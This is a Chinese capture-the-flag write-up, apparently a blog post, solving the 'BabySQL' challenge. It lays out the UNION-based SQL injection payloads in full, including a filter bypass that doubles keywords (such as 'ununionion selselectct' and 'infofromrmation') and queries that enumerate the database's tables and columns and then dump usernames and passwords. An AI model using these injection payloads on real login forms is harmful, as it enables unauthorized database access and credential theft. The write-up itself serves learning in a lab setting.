[极客大挑战 2019]BabySQL1

这是上一个SQL注入的升级版,首先打开靶机

有了上次的经验,我们直接联合查询:?username=aaa'union select null,null,null#&password=1234

看报错信息,null,null,null#有错误,猜测select被过滤了

我们把 select 改成 selselectect,这样 select 被过滤后,剩下的sel和ect又可以拼成 select

可以看到select确实出现了,但是union没有出现,应该也是被过滤了,同样的,我们做个拼接

?username=aaa'ununionion selselectect null,null,null#&.....

 

 成功登陆,接下来我们把null换成 11,22,33,找到注入点,然后利用注入点查看 数据库名(跟上一个题目类似,这里不多写了)。可以看到有个geek的数据库

?username=aaa'ununionion seleselectct 11,database(),33#&.....

接着我们查看数据库中的表  ?username=aaa'ununionion seleselectct 11,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

看到报错了, from information_schema没有出现在错误信息里,这时候猜测 from or 都被过滤了,跟上面的做法类似,我们做个拼接 ?username=aaa'ununionion seleselectct 11,database(),group_concat(table_name) frfromom infofromrmation_schema.tables whewherere table_schema=database()#

这里一个小技巧,information我们给拼接为 info-from-rmation,这样中间的from被过滤之后,剩下的部分刚好拼接为 information

然后我们看看b4bsql里面哪些列  ?username=aaa'ununionion seleselectct 11,database(),group_concat(column_name) frfromom infofromrmation_schema.columns whewherere table_name='b4bsql'#

接着把b4bsql表中的内容取出来  ?username=aaa'ununionion seleselectct 11,database(),group_concat(id,username,passwoorrd) frfromom b4bsql#  拿到flag

总结一下,这个题目在现实的程序中应该没有,服务器把 from  unino select or (估计还有 order by等等)这些关键字过滤,过滤方式是如果 字符串中存在,则直接替换为空(注意不是空格,而是空,这就给我们利用这个规则,拼接sql语句提供了可能)。搞明白这个规则之后,后面的操作就是常规的SQL注入了。不过我对SQL语句还是不熟练,所以在拼接的时候还出现很多错误。继续积累经验。 

  • 6
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值